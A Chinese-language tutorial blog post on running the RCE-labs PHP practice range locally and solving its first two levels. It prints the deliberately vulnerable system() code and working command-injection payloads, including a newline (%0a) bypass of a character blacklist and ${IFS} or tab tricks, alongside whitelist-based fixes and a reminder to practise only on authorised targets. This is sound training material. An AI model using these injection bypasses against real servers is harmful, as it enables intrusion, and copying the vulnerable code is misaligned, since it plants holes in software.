☰
RCE-labs靶场实战:从PHP环境搭建到命令注入与绕过
2026/10/22 15:38:57 网站建设 项目流程

最近带几个零基础的朋友玩本地Web靶场,第一关就卡了不少人。他们不是不会输入命令,而是卡在环境“启动”上,有人端口没对,有人根目录指错了,还有人压根没安装PHP。所以我想把RCE-labs这套东西,从clone到跑起来,再到level0、level1通关,完整拆开讲一遍。这篇内容不讲虚的,直接照做就能跑。

1. 先搞清楚RCE-labs到底是让你练什么

1.1 什么是RCE漏洞

RCE这个缩写,在Web安全里基本属于“重量级”漏洞。它指的是远程代码执行,或者叫远程命令执行,也就是攻击者输入的字符串被服务器当作代码或命令的一部分去执行了。很多人第一次看到这个词觉得很高深,其实落到代码层面就那么几行。PHP里常见的有system()、exec()、shell_exec()、passthru(),只要用户输入能影响这些函数的参数,就很可能形成RCE。

我打个比方。你去一家餐厅取餐,店员拿大喇叭喊“请张三到前台取餐”。这个张三就是用户输入,喇叭就是命令执行函数。正常情况下,你报上张三的名字,喊的就是张三。但如果店员不检查你报的名字,你偏要说“请所有顾客都到前台来领餐”,喇叭也会照样喊出去,整个餐厅就乱套了。放在Web应用里,这就是一次命令注入。

RCE-labs这种靶场,就是把这件事拆成不同等级,让新人先在一个无保护的环境里看到命令是怎么执行起来的,再一点点加上过滤,逼你去找绕过方法。它最大的优点是代码短、依赖少,读完源码以后你不会有“是不是因为我不会用工具”的挫败感,而是真的能想明白漏洞为什么存在。

1.2 level0 和 level1 分别想训练什么

level0是整个靶场的第一关。它的代码就是一个简单的system($_GET['cmd'])。你传什么,服务器就执行什么。这关的目标不是让你死记硬背一个利用语句,而是让你理解三件事:第一,用户输入从哪里进入后端;第二,系统命令是怎么被拼接的;第三,为什么一个看起来无害的参数能控制一台服务器。

level1接着level0往下走。代码变成先拼一个固定前缀ping -c 1,再拼用户输入。同时加了一个黑名单,过滤掉分号、管道、反引号等常见命令分隔符。这一关想训练的是“绕过滤规则”的意识。很多新人上来就试;ls或者|cat /etc/passwd,发现被拦截就卡住了,但实际上绕过方式非常多,后面我会演示其中一种。

这两个关卡组合在一起,其实是在给新人铺一条很缓的坡。level0让你建立信心,level1让你知道RCE不是只会一个payload就能通关,它背后是shell语法、URL编码、代码逻辑共同作用的结果。

1.3 为什么“启动”反而是新人最大的坎

我见过好几个朋友拿到类似靶场以后,卡在最前面一个小时,不是原理没看懂,而是环境没跑起来。要么打开页面是404,要么PHP命令找不到,要么端口被占用,要么输入了命令但页面空白。这些问题看起来小,但对新人来说非常劝退。

所以这篇内容我会把“启动”拆得很细。你不需要懂Docker,不需要装数据库,只需要一台装了PHP的电脑,用一条php -S命令就能跑起来。先把环境搞明白,后面打level0和level1才有意义。

2. 启动前的准备:环境、目录、命令

2.1 环境清单与安装方式

RCE-labs是PHP写的,所以最核心的依赖就是PHP。建议PHP 7.4以上,实际上PHP 5.6也能跑,但现代版本更规范。不需要数据库,不需要Composer,不需要Nginx,用PHP自带的开发服务器就够了。

各系统安装方式不同。Linux里多半直接用发行版包管理器:sudo apt install php-cli,装完用php -v验证。macOS可以用brew install php。Windows麻烦一点,从PHP官方下载zip包,解压到比如C:\php,然后把C:\php加进系统的PATH环境变量,再新开一个终端窗口执行php -v。如果安装对了,终端会显示PHP版本号。

为什么我不推荐新人用Docker?因为Docker本身又是一个新概念,对新人来说等于在“学漏洞”之前先“学容器”,门槛反而抬高。只有当你需要和目标靶场环境完全一致,或者不想污染本机环境时,才值得用Docker。这里先清楚自己的目标:你是来练RCE的,不是来学容器的,那就别给自己增加额外负担。

2.2 项目目录结构

拿到压缩包解压以后,你会看到里面有一个www目录,这才是Web站点根目录。不要直接在项目根目录启动服务,否则访问路径会带上子目录,容易乱。标准结构大致是:

rce-labs/ ├── www/ │ ├── config.php │ ├── level0.php │ └── level1.php └── readme.md

config.php用来放flag,也是我们最后要读的目标。level0.php和level1.php是关卡页面,源码加起来可能不到20行。你完全可以打开文件读一遍,了解漏洞产生的原因。很多新手不敢看源码,觉得那是“高手”才做的事,实际上这就是一个普通文本文件,用记事本或VSCode打开就行。

2.3 启动命令与验证方式

在项目根目录执行:

php -S 127.0.0.1:8080 -t www

-S表示启动PHP内置服务器,127.0.0.1:8080是监听地址和端口,-t指定Web根目录为www。终端出现类似PHP 7.4.3 Development Server started说明启动成功。服务会一直运行,按Ctrl+C可以停止。

验证服务是否正常,浏览器访问http://127.0.0.1:8080/level0.php,如果看到输入框或提示,就说明OK。更稳的验证是打开另一个终端执行:

curl -I http://127.0.0.1:8080/level0.php

返回状态码200就是成功。如果端口被占用,把8080改成8081,例如php -S 127.0.0.1:8081 -t www,然后访问新地址。

这里有一个习惯建议:监听地址只写127.0.0.1,不要写0.0.0.0。因为0.0.0.0会把服务暴露到局域网,其他设备也能访问。虽然是学习用的,但少给自己惹麻烦总是好的。

2.4 启动后立刻要做的小检查

服务起来后,先访问一次首页,然后回到启动服务的终端。你会看到一条访问日志,比如:

[Sun Jul 20 14:10:00 2025] 127.0.0.1:54321 [200]: GET /level0.php

这个日志非常有用。当你后面构造payload发现没反应时,可以先看这行日志,确认请求到底有没有打进来、状态码是多少。很多人漏掉这一步,结果排查了半天,其实请求根本没有到达后端。所谓“启动”不仅是把服务跑起来,还要知道它有没有正常工作。

3. level0实战:让一个system()听你使唤

3.1 先读源码再动手

打开www/level0.php,内容大概率是这样:

<?php $cmd = $_GET['cmd'] ?? ''; system($cmd); ?>

第一行从GET请求参数cmd里取值,第二行直接扔给system()。system()是一个PHP内置函数:把传入的字符串交给系统shell执行,然后把输出直接返回给浏览器。它和你在终端里敲命令几乎没有区别。

所以,当你在浏览器里访问:

http://127.0.0.1:8080/level0.php?cmd=ls

服务端就执行了ls,当前目录下所有文件会出现在页面上。如果你看到包含config.php的文件列表,恭喜,第一个RCE已经打通了。

3.2 信息收集:先看看我是谁

拿到命令执行权限后,第一件事不是急着读flag,而是先确认当前环境和权限。这不是浪费时间,而是真实测试中的标准操作。可以依次试试:

  • cmd=id:查看当前用户权限,很多靶场里PHP进程权限并不高。
  • cmd=pwd:查看当前工作目录。
  • cmd=ls -la:查看所有文件,包括隐藏文件。
  • cmd=uname -a:查看系统内核版本,这个在真实环境中会被用来判断有没有可利用的本地提权漏洞。

这些命令本身没有恶意,它只是让你熟悉“拿到命令执行后怎么确认环境”。在靶场里,这更是标准操作,因为不同环境里文件路径、权限可能完全不同,先收集信息能避免你瞎猜。

3.3 读config.php拿到flag

看到文件列表里有config.php后,执行:

http://127.0.0.1:8080/level0.php?cmd=cat%20config.php

%20是空格的URL编码形式。写成cat+config.php也可以,因为URL里的加号会被解析成空格。如果你不放心,直接用curl:

curl "http://127.0.0.1:8080/level0.php?cmd=cat%20config.php"

这时页面要么直接输出flag{...}这样的字符串,要么输出PHP源码。如果浏览器里看着不对,右键“查看网页源代码”,或者看curl的原始输出。

3.4 一个容易被忽略的点:URL编码

在URL参数里,&、|、;、空格、引号这些字符都可能被浏览器或服务器特殊处理。所以只要命令里出现这些“保留字符”,最好都转成URL编码。比如想执行ls -la /etc | grep passwd,URL要写成:

?cmd=ls%20-la%20%2Fetc%20%7C%20grep%20passwd

其中|的编码是%7C,/的编码是%2F。实际打靶时也许不编码也能用,但在自动化脚本里不编码就很容易导致payload被截断。从level0开始养成编码意识,后面能少踩很多坑。

3.5 这关给出的三个核心收获

第一,你看清了system()是个“无脑执行者”,它不关心字符串是谁拼出来的。第二,你掌握了GET参数控制函数参数的完整链条。第三,你学会了看原始输出和URL编码。这些基础没打好,后面看再多高级绕过技巧都是空中楼阁。

4. level1实战:黑名单面前,换行符站了起来

4.1 先看看level1的“过滤规则”

打开www/level1.php,内容大概是:

<?php $ip = $_GET['ip'] ?? ''; if (preg_match('/[;&|`]/', $ip)) { die('forbidden'); } system("ping -c 1 " . $ip); ?>

页面模拟的是“ping工具”:输入IP,后端拼一个固定的ping -c 1命令再执行。这里的过滤规则是:如果用户输入里包含分号、与符号、管道符或反引号,就直接终止,输出forbidden。这是很典型的黑名单防御。

试一下常见payload?ip=127.0.0.1;ls,页面会显示forbidden。这时很多人会想:不能用分号,怎么在ping后面再执行一条命令?答案是换一个shell认识、但正则没列出来的分隔符。

4.2 为什么换行符能绕过

Shell用来分隔命令的符号不只是分号,换行符也一样。ping -c 1 127.0.0.1这是一个完整命令行,如果后面接一个换行符,再写cat config.php,那么shell看到的就是两行命令:

ping -c 1 127.0.0.1 cat config.php

执行完第一行,会继续执行第二行。背后的原因在于,system()在执行时会把字符串原样交给/bin/sh解析,而换行符在shell语法里同样代表一条命令的结束。

正则/[;&|]/只匹配分号、与符号、管道符和反引号,没有包含换行符\n。所以我们可以用URL编码的%0a` 把换行符传进去,绕过黑名单。

4.3 完整payload与执行过程

访问:

http://127.0.0.1:8080/level1.php?ip=127.0.0.1%0acat%20config.php

这里有个小细节:%0a后面的空格直接写在URL里也可能被服务端正常解析,但为了更通用,最好把空格也编码成%20。上述请求里,%0a是换行符,%20是空格,实际传给系统的字符串就是:

ping -c 1 127.0.0.1 cat config.php

执行后,页面上会先显示ping的输出,然后显示cat的结果。如果ping的输出很长,往下滚动找。用curl看最清晰:

curl "http://127.0.0.1:8080/level1.php?ip=127.0.0.1%0acat%20config.php"

4.4 再举几个同类绕过思路

换行符不是唯一选择。如果黑名单加了换行符,可以试试:

  • 用制表符%09代替空格,比如?ip=127.0.0.1%0als%09-la。
  • 用${IFS}代替空格,${IFS}在shell里就是默认的分隔符,不需要空格。
  • 用$()做命令替换,虽然本关可能用不上,但后面很多关卡会考。

真实的过滤场景比这复杂得多,经常是黑名单加白名单组合。但核心思路始终一样:先搞清楚过滤到底拦了什么,再想系统里还有什么符号能实现同样的语义。这也是RCE-labs想锻炼的思维能力。

4.5 防御者视角:这个正则为什么不够

黑名单永远不是安全边界。因为shell语法非常丰富,总有你想不到的符号能拼出命令。与其猜攻击者会用哪种分隔符,不如直接禁止整个输入进入系统命令。

放在这个案例里,最简单可靠的修复是校验IP:

if (filter_var($ip, FILTER_VALIDATE_IP) === false) { die('invalid ip'); } system("ping -c 1 " . $ip);

IP只有一种合法格式,校验通过后就不可能夹带命令。这个思路叫“白名单校验”,它比黑名单拦截要可靠得多。这也是为什么很多安全测试报告都建议开发者“能不用系统命令就不用,必须用的时候就做严格的输入校验”。

5. 打靶路上最常见的四个坑

5.1 服务起不来或页面404

这个坑八成出在命令路径上。如果你启动时用了php -S 127.0.0.1:8080 -t www,但当前目录不在项目根目录,那么-t www可能指不到任何地方。终端会提示文件找不到,浏览器就会404。先执行pwd看看当前目录,再用ls确认里面是不是有www文件夹。

另一个常见情况是PHP没装或者装错版本。先执行php -v,如果提示“命令找不到”,那就是PATH问题。Windows用户记得修改环境变量后要重开终端,否则新加的路径不会立即生效。

5.2 输入payload后页面空白

如果请求地址对了,但页面空白,优先确认参数名。level0用的是cmd,level1用的是ip。很多人把cmd带到level1里测试,当然没有反应。然后确认是否被过滤了,如果页面显示forbidden,说明正则拦截生效。

还有一种情况是命令本身出错。比如level1里写?ip=127.0.0.1%0azzz,shell会提示command not found,页面也会把这个错误信息回显出来。这不一定是漏洞失效,而是命令不存在。先试几个最基础的命令,比如ls和id,能排除这类问题。

5.3 curl和浏览器看到的输出不一样

浏览器有时候会把返回内容里的<、>当成HTML标签解析,导致你看不到原始字符串。比如cat config.php返回的内容里有一句<?php $flag=... ?>,浏览器可能不显示中间的变量。这不是漏洞的问题,是显示问题。解决方式很简单:在浏览器右键“查看页面源代码”,或者直接用curl拿原始字节。

5.4 换行符被转义或过滤

在level1里,如果你在浏览器地址栏手动输入%0a,有些浏览器可能不会原样传给服务端,而是尝试解析或拦截。这种情况先用curl验证:

curl "http://127.0.0.1:8080/level1.php?ip=127.0.0.1%0acat%20config.php"

如果curl能通,浏览器不通,基本可以确定是浏览器或输入法的问题。用curl发请求是打靶的必备技能,早点学会能避开很多“假故障”。

6. 从靶场回到现实:RCE是怎么发生的,又该怎么防

6.1 RCE在真实应用里的三个高发入口

第一次看完level0和level1,你可能会觉得这漏洞太傻,谁会这么写代码?现实是,系统命令执行需求非常常见,稍不注意就会留下口子。

常见高发入口有几个。一是网络诊断工具,比如页面提供一个“ping一下某个IP”的功能,多半就是直接拼接命令。二是文件处理,比如音视频转换、压缩解压,文件名参数如果没有过滤,也能带出命令。三是自动化运维后台,脚本里面经常要调外部命令,参数来源复杂,一个没校验就是RCE。在这些场景里,RCE的利用不需要多高深,一个特殊符号就够了。

6.2 最靠谱的修复方式

在代码层面,防御RCE要分几步走。第一,尽量减少执行系统命令的入口,能用PHP函数解决的不用shell。第二,确实要执行时,避免直接把用户输入拼接进命令字符串。第三,用白名单校验输入,比如IP就用IP校验器,文件路径就用真实路径匹配。第四,如果必须经过shell,也可以考虑escapeshellarg()对参数做转义,但它不是万能,所以前三条优先级更高。

把这个靶场两个level的代码拿回去改一下,你会更直观地看到“为什么修复比添加过滤更有效”。把黑名单换成IP白名单,再打level1,试试还有没有绕过,就会明白“根除”和“拦截”的区别。

6.3 通关之后还能往哪里扩展

level0和level1只是入门。往后你可以继续刷RCE-labs的后续关卡,也可以自己改规则做变体练习。比如说,把level1的过滤改成同时过滤空格和换行,看你会不会用${IFS}解决;把system换成shell_exec,看看输出会不会有变化;把GET参数改成POST参数,再想想怎么从表单传递payload。

RCE这条路走下去还有命令执行无回显、带外数据通道、命令注入结合其他漏洞等方向。学习打靶不一定非要成为极客,但多动手、多改代码、多记录踩坑,才是进步最快的方式。

7. 一周练习节奏与自查清单

7.1 前三天怎么安排

第一天只做两件事:装好PHP,启动服务,把level0的ls、cat、id跑通。不要急着看高级绕过。第二天再进level1,先读源码,理解过滤规则,再把换行符绕过跑通。第三天的任务比较关键:把源码里的过滤规则改一改,比如加一个换行符到黑名单里,然后尝试用别的方式绕过。这个“改规则再绕过”的过程,比连续刷十个关卡都有用。

7.2 通关前先过这份自查表

检查项是否掌握
能用php -S启动靶场,并解释每个参数含义
能通过system()执行ls、cat、id命令
知道为什么URL里的空格要编码成%20
能在level1用换行符绕过黑名单
能解释为什么黑名单过滤不彻底
能读懂源码里preg_match和system的作用

如果你能全部打钩,这两个level对你来说就算真正通关了。不是看到flag就算结束,而是要看懂漏洞链条。

7.3 本地练习的安全底线

打靶场要守住一条底线:只能在授权的本地或测试环境中操作,绝对不能拿这些payload去打别人的线上系统。RCE是真实世界中杀伤力极高的漏洞,用来学习时它能帮你建立攻击者视角,但如果用错地方,后果非常严重。练习时保持自律,把环境限制在本机或明确授权的靶场里就好。

我个人带新人时最爱让他们做的事,是复制一份源码,自己加一条过滤规则,再去绕过。这比连续刷十个靶场都管用。启动环境这件事也一样,多用几次curl,多看一眼终端日志,后面再打任何靶场都会顺手很多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询